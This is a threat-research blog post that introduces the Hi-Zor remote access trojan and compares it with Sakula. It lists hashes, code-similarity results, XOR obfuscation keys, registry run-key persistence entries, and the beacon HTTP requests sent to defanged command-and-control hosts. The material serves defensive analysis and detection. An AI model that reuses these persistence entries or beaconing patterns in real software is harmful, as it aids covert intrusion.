Introducing Hi-Zor RAT

fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

January 27, 2016

Author

Threat Research Team

The Fidelis Threat Research team is comprised of expert security researchers whose sole focus is generating accurate and actionable intelligence to better secure customers. Together, they represent over... Read More

Comments

January 27, 2016

In Fidelis Threat Advisory #1020 (FTA), we provided comprehensive analysis of a tool that had been observed in a campaign called INOCNATION. Fidelis Threat Research is now confident that the malware observed in that campaign is a new Remote Access Trojan (RAT) that we are calling Hi-Zor RAT based on strings observed in the sample.

Hi-Zor RAT uses the following techniques, some of which have been observed in other APT tools:

- Uses string-stacking, a technique observed in the Etumbot and Ixeshe families.
- Creates a copy of itself in the systems with a '.dat' extension and entrenches it in the registry run key with 'regsvr32.exe' pointing to a DLL file without a DLL extension. This technique has been observed in the Derusbi malware.
- Sends a victim's Volume Serial Number information in the beacon. This technique has been observed in Sakula.

- Double XOR to encode command and control.
- Uses common applications, such as VPN installers, as the decoy. This tactic has been observed in Sakula.

Beyond these techniques, it provides core RAT features such as:

- Process execution
- Reverse shell
- File management
- Upload/Download
- Kill switch/Uninstall

Fidelis Threat Advisory #1020 provides detailed analysis of these facets. New indicators and an updated Yara rule are available for download here.

There are few samples of Hi-Zor RAT that have been observed in public malware repositories such as VirusTotal. In our estimation, Hi-Zor RAT represents continued investment and tooling by APT actors and it is our expectation that it will feature in future intrusions.

Why is the Hi-Zor RAT not Sakula?

Crowdstrike first notified the world about this tool in their blog post 'Sakula Reloaded.' The following analysis is why we're defining Hi-Zor to be distinct from Sakula RAT.

Our comparative analysis is based on the following Hi-Zor malware sample related to the INOCNATION campaign:

MD5	SHA256
75d3d1f23628122a64a2f1b7ef33f5cf	cd07ac5947c643854375603800a4f70e2dfe202c8a1f801204328921cb3a2a4c

As a reference, to obtain publicly documented samples of Sakula, we used the article released by Dell SecureWorks: Sakula Malware Family

MD5	SHA256
f25cc334809bd1c36fd94184177de8a4	2b4cc716ec23a095d831069968d951a125f40574775f466f4251c8a0a37abfca

Some differences were found between the above samples:

1. Code comparison with BinDiff

Comparing the code with the Google BinDiff, the tool found that only 5% of the code is similar.

Name	Value
basicBlock matches (library)	116
basicBlock matches (non-library)	65
basicBlocks primary (library)	65
basicBlocks primary (non-library)	327
basicBlocks secondary (library)	3161
basicBlocks secondary (non-library)	423
flowGraph edge matches (library)	93

Name	Value
flowGraph edge matches (non-library)	40
flowGraph edges primary (library)	93
flowGraph edges primary (non-library)	440
flowGraph edges secondary (library)	4489
flowGraph edges secondary (non-library)	586
function matches (library)	30
function matches (non-library)	49
functions primary (library)	6
functions primary (non-library)	101
functions secondary (library)	246
functions secondary (non-library)	153
instruction matches (library)	285
instruction matches (non-library)	254
instructions primary (library)	242
instructions primary (non-library)	4692
instructions secondary (library)	13158
instructions secondary (non-library)	2945
basicBlock: MD index matching (bottom up)	3
basicBlock: MD index matching (top down)	4
basicBlock: call reference matching	2
basicBlock: edges Lengauer Tarjan dominated	4
basicBlock: edges MD index (bottom up)	18
basicBlock: edges MD index (top down)	37
basicBlock: edges prime product	19
basicBlock: entry point matching	20
basicBlock: exit point matching	5
basicBlock: exit point matching	2
basicBlock: jump sequence matching	2
basicBlock: loop entry matching	2
basicBlock: prime matching (0 instructions minimum)	4
basicBlock: propagation (size==1)	53
basicBlock: relaxed MD index matching	4

Name	Value
basicBlock: self loop matching	2
function: MD index matching (flowgraph MD index, top down)	1
function: address sequence	2
function: call reference matching	3
function: call sequence matching(exact)	13
function: call sequence matching(sequence)	39
function: loop count matching	1
function: name hash matching	20
Confidence	**0.267055127**
Similarity	**0.053533386**

2. IDA code decompilation

The following screenshots show the main SWITCH statements between the samples showing their difference (click to enlarge):

3. Network traffic

The network traffic between both samples is also different. The Sakula samples beacons out with the following traffic:

```
POST /newimage.asp?imageid=ivpgvz–1004122437&type=0&resid=365854765 HTTP/1.1
User-Agent: iexplorer

Host: citrix.vipreclod[dot]com

Content-Length: 176

Cache-Control: no-cache
```

The malware discussed in Fidelis Threat Advisory #1020 beacons over a secure connection (e.g. TLS) with the following traffic:

```
POST /-1004122437VICTIM.1a53b0cp32e46g0qio9 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: inocnation[dot]com

Content-Length: 8

Connection: Keep-Alive
```

In the above traffic, both samples send the Volume Serial Number in the same format, but the traffic is still different. The traffic from the Hi-Zor sample includes the victim's system Computer Name and is sent over a secure connection.

4. String obfuscation

In the Sakula sample analyzed, the malware configuration (e.g. C2, URL, Filename, etc.) is obfuscated with a single byte XOR key of “0x56”.

In the Hi-Zor sample, the C2 configuration is obfuscated with a double XOR with the following keys: “0x70” and “0x79”.

The string stacking technique is also widely used in the Hi-Zor sample, while this technique is not observed in the Sakula sample inspected.

5. File type

The Sakula malware is a “.EXE” file and the malware in the FTA is a “.DLL” file.

6. Registry entrenchment

The Sakula malware entrenches in the system here:

Key: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
Value name: MicroMedia

Value data: %TEMP%MicroMediaMediaCenter.exe

While the Hi-Zor sample entrenches in the system here:

Key: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

Value name: AdobePlayer

Value data: regsvr32 /s “%APPDATA%adobeadobe.dat”

7. Embedded files

The Sakula sample inspected contained a 32-bits and a 64-bits DLL obfuscated in its resource section. These DLLs were decoded with a single-byte XOR key of 0x24. The decoding process skipped values with the same XOR key and null (0) values. According to SecureWorks, this code is used for UAC bypass. This is not observed in the Hi-Zor sample.

Due to these differences between the sample in FTA #1020 and the Sakula samples inspected, we have decided to distinguish the malware reverse engineered in the FTA and assign it the distinctive name Hi-Zor. More malware threat analysis to come in future blogs and Fidelis Threat Advisories.

-The Fidelis Threat Research Team